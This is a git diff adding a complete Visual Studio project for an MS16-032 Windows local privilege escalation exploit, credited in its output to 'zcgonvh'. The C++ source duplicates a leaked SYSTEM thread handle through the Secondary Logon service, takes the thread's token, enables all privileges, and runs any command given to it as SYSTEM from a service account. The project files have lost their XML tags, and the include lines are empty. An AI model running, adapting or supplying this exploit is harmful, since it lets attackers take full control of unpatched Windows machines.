diff --git a/README.md b/README.md new file mode 100644 index 0000000..cdd6364 --- /dev/null +++ b/README.md @@ -0,0 +1,6 @@ +# MS16-032(CVE-2016-0099) for SERVICE ONLY + +**this exploit can only use on SERVICE** + +do logical exploit,on logical exploits. + diff --git a/ms16-032.png b/ms16-032.png new file mode 100644 index 0000000..c5bd7ea Binary files /dev/null and b/ms16-032.png differ diff --git a/ms16-032.sln b/ms16-032.sln new file mode 100644 index 0000000..6c57655 --- /dev/null +++ b/ms16-032.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ms16-032", "ms16-032\ms16-032.vcxproj", "{90842927-6D62-4465-93A3-37FC28C12018}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + Release64|Win32 = Release64|Win32 + Release64|x64 = Release64|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {90842927-6D62-4465-93A3-37FC28C12018}.Release|Win32.ActiveCfg = Release|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release|Win32.Build.0 = Release|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release|x64.ActiveCfg = Release|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release|x64.Build.0 = Release|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release64|Win32.ActiveCfg = Release64|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release64|Win32.Build.0 = Release64|Win32 + {90842927-6D62-4465-93A3-37FC28C12018}.Release64|x64.ActiveCfg = Release64|x64 + {90842927-6D62-4465-93A3-37FC28C12018}.Release64|x64.Build.0 = Release64|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ms16-032/ms16-032.cpp b/ms16-032/ms16-032.cpp new file mode 100644 index 0000000..8f0db36 --- /dev/null +++ b/ms16-032/ms16-032.cpp @@ -0,0 +1,161 @@ +// ms16-032.cpp : ̨Ӧóڵ㡣 +// +//https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html + +#include +#include +DWORD WINAPI ThreadProc(LPVOID lpParam){ + BYTE b[1030]; + DWORD d = 0; + while (ReadFile((HANDLE)lpParam, b, 1024, &d, 0)) + { + b[d] = '\0'; + printf("%s", b); + fflush(stdout); + } + return 0; +} +void die(char* c) +{ + printf("%s: %d\n", c, GetLastError()); + exit(-1); +} +typedef NTSTATUS __stdcall _NtImpersonateThread(HANDLE,HANDLE,PSECURITY_QUALITY_OF_SERVICE); +int wmain(int argc, WCHAR* argv[]) +{ + printf("[#] ms16-032 for service by zcgonvh\n"); + if (argc != 2) + { + printf("[#] usage: ms16-032 command \n"); + printf("[#] eg: ms16-032 \"whoami /all\" \n"); + return -1; + } + BOOL b = false; + IsWow64Process(GetCurrentProcess(), &b); + if (b) { + printf("[x] please re-compiler this program via x64 platform\n"); + return 0; + } + WCHAR* wsSelf = (PWCHAR)malloc(65536*2); + PROCESS_INFORMATION pi = {}; + STARTUPINFO si = {}; + si.cb = sizeof(si); + si.hStdInput = GetCurrentThread(); + si.hStdOutput = GetCurrentThread(); + si.hStdError = GetCurrentThread(); + si.wShowWindow = SW_HIDE; + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + GetModuleFileName(0, wsSelf, MAX_PATH); + if (!CreateProcessWithLogonW(L"a", L"a", L"a", LOGON_NETCREDENTIALS_ONLY, 0, wsSelf, CREATE_SUSPENDED, 0, 0, &si, &pi)) + { + die("[x] may be patched"); + } + if (!pi.hProcess) + { + die("[x] may be patched"); + } + HANDLE hThread; + if (!DuplicateHandle(pi.hProcess, (HANDLE)4, GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) + { + TerminateProcess(pi.hProcess, 1); + die("[x] can not duplicate thread handle"); + } + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + HANDLE hCurrentToken, hToken; + DWORD d=0; + PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)malloc(2048); + _NtImpersonateThread* NtImpersonateThread=(_NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),"NtImpersonateThread"); + SECURITY_QUALITY_OF_SERVICE sqos = {}; + sqos.Length = sizeof(sqos); + sqos.ImpersonationLevel = SecurityImpersonation; + SetThreadToken(&hThread, 0); + NTSTATUS status = NtImpersonateThread(hThread, hThread, &sqos); + if (status) + { + printf("[x] can not do self-impersonate : %x\n", status); + return -1; + } + if (!OpenThreadToken(hThread, TOKEN_ALL_ACCESS, 0, &hToken)) + { + die("[x] can not open token from SYSTEM thread"); + } + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken)) + { + die("[x] can not open current process token"); + } + if(!GetTokenInformation(hCurrentToken, TokenPrivileges, tp, 2048, &d)) + { + die("[x] can not get current privileges"); + } + for (int i = 0; i < tp->PrivilegeCount; i++) + { + tp->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED; + } + if (!AdjustTokenPrivileges(hCurrentToken, false, tp, d, NULL,NULL)) + { + die("[x] adjust all privileges fail"); + } + b = false; + DWORD data[] = { 2, 1, 0, 0, 0 , 0, 0, 0 }; + PPRIVILEGE_SET pset = (PPRIVILEGE_SET)data; + pset->Privilege[0].Attributes = SE_PRIVILEGE_ENABLED; + LookupPrivilegeValue(0, SE_ASSIGNPRIMARYTOKEN_NAME, &pset->Privilege[0].Luid); + pset->Privilege[1].Attributes = SE_PRIVILEGE_ENABLED; + LookupPrivilegeValue(0, SE_INCREASE_QUOTA_NAME, &pset->Privilege[1].Luid); + + SECURITY_ATTRIBUTES sa = { 0 }; + HANDLE hRead, hWrite; + ZeroMemory(&si,sizeof(si)); + ZeroMemory(&pi,sizeof(pi)); + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = true; + CreatePipe(&hRead, &hWrite, &sa, 1024); + si.hStdError = hWrite; + si.hStdOutput = hWrite; + si.lpDesktop = L"WinSta0\\Default"; + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + HANDLE hReadThread = CreateThread(NULL, 0, ThreadProc, hRead, 0, NULL); + HANDLE hPrimary; + if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, &hPrimary)) + { + die("[x] can not duplicate token to primary"); + } + if (PrivilegeCheck(hCurrentToken, pset, &b) && b) + { + printf("[+] %ws was assigned\n",SE_ASSIGNPRIMARYTOKEN_NAME); + CreateProcessAsUser(hPrimary, 0, argv[1], 0, 0, true, 0, 0, 0, &si, &pi); + } + else + { + pset->PrivilegeCount = 1; + LookupPrivilegeValue(0, SE_IMPERSONATE_NAME, &pset->Privilege[0].Luid); + if (PrivilegeCheck(hCurrentToken, pset, &b) && b) + { + printf("[+] %ws was assigned\n", SE_IMPERSONATE_NAME); + CreateProcessWithTokenW(hPrimary, 0, 0, argv[1], 0, 0, 0, &si, &pi); + } + else + { + printf("[x] no privileges assigned! this program can only use on SERVICE."); + return -1; + } + } + if (pi.dwProcessId) + { + printf("[!] process with pid: %d created.\n==============================\n", pi.dwProcessId); + fflush(stdout); + WaitForSingleObject(pi.hProcess, -1); + TerminateThread(hReadThread, 0); + return -1; + } + else + { + die("[x] can not create process"); + } + return 0; +} + diff --git a/ms16-032/ms16-032.vcxproj b/ms16-032/ms16-032.vcxproj new file mode 100644 index 0000000..4c31a3c --- /dev/null +++ b/ms16-032/ms16-032.vcxproj @@ -0,0 +1,164 @@ + + + + + Release64 + Win32 + + + Release64 + x64 + + + Release + Win32 + + + Release + x64 + + + + {90842927-6D62-4465-93A3-37FC28C12018} + Win32Proj + ms16032 + + + + Application + false + v120_xp + true + Unicode + + + Application + false + v120_xp + true + Unicode + + + Application + false + v120_xp + true + Unicode + + + Application + false + v120_xp + true + Unicode + + + + + + + + + + + + + + + + + + + false + false + + + false + false + + + false + false + + + false + false + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/ms16-032/ms16-032.vcxproj.filters b/ms16-032/ms16-032.vcxproj.filters new file mode 100644 index 0000000..4eea9f2 --- /dev/null +++ b/ms16-032/ms16-032.vcxproj.filters @@ -0,0 +1,25 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 源文件 + + + \ No newline at end of file diff --git a/ms16-032/ms16-032.vcxproj.user b/ms16-032/ms16-032.vcxproj.user new file mode 100644 index 0000000..ef5ff2a --- /dev/null +++ b/ms16-032/ms16-032.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file